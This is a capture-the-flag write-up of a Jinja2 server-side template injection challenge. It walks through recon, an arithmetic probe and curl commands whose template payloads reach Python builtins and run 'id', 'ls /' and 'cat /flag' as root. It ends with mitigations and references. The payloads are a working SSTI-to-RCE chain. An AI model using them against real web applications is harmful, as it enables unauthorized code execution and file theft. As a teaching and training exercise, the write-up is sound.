Overview
The challenge presents a fan greeting page with a form that POSTs a message parameter to the server, which reflects it in the response. The goal is to determine how the input is rendered and escalate from reflected input to arbitrary code execution and flag retrieval.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
The parameter is message, submitted via POST form body. A browser or curl is sufficient; no wordlist or credentials are required.
Recon
Step 1 — Visit the root page
Goal: Observe the form and confirm input is reflected in the response.
curl "$TARGET/"
<form method="POST">
<input name="message" placeholder="Enter message" />
<input type="submit" value="Submit" />
</form>
Submitting message=ijljljk reflected it back:
<h2>ijljljk</h2>
Interpretation: The input is reflected in the response — a classic reflected-input sink worth testing for both XSS and server-side template injection.
Step 2 — Confirm server-side template evaluation
Goal: Determine whether message is rendered by a template engine (SSTI) rather than concatenated into HTML.
curl -X POST "$TARGET/" \
-d "message={{7*7}}"
49
Interpretation: {{7*7}} was evaluated server-side to 49, confirming Jinja2 template rendering of user input — classic SSTI.
Vulnerability Analysis
The flaw class is Server-Side Template Injection (CWE-94: Improper Control of Generation of Code / Code Injection).
Exploitation
Step 3 — Reach Python builtins via the template object chain
Goal: Escape the sandboxed template context and reach Python’s builtins.
curl -X POST "$TARGET/" \
-d "message={{self.__init__.__globals__.__builtins__}}"
This returned the full builtins module dictionary, confirming unrestricted access to __import__, eval, exec, open, etc.
Step 4 — Achieve remote code execution
Goal: Execute an arbitrary OS command and confirm the user context.
curl -X POST "$TARGET/" \
--data-urlencode "message={{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}"
uid=0(root) gid=0(root) groups=0(root)
Interpretation: Code execution succeeded, running as root.
Step 5 — Locate the flag file
Goal: Enumerate the filesystem root to find the flag.
curl -X POST "$TARGET/" \
--data-urlencode "message={{self.__init__.__globals__.__builtins__.__import__('os').popen('ls /').read()}}"
app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
A /flag file stood out immediately.
Step 6 — Read the flag
Goal: Read /flag directly.
curl -X POST "$TARGET/" \
--data-urlencode "message={{self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}"
safctf{REDACTED}
Interpretation: The flag is read directly via command execution, completing the solve.
Flag
safctf{REDACTED}
Retrieved from /flag via SSTI → RCE as root.
Lessons / Takeaways
- Any reflected input that is re-rendered by the server is a template-injection candidate — probe with
{{7*7}}(or equivalent) as soon as reflection is confirmed. - Jinja2’s
self.__init__.__globals__chain reaches builtins, giving full code execution whenrender_template_stringis used on user input. - Running the app as
rootmaximizes the impact of any RCE.
Mitigations
- Never render user input with
render_template_string(user_input); pass user data as a template variable:render_template("page.html", message=user_input). - If dynamic rendering is unavoidable, use Jinja2’s
SandboxedEnvironment— and note that even sandboxed environments have documented escapes, so defense-in-depth matters. - Run the application as a non-root, least-privilege user to limit the blast radius of RCE.
Techniques
References
- PortSwigger, “Server-side template injection”: https://portswigger.net/web-security/server-side-template-injection
- CWE-94: Improper Control of Generation of Code (‘Code Injection’): https://cwe.mitre.org/data/definitions/94.html

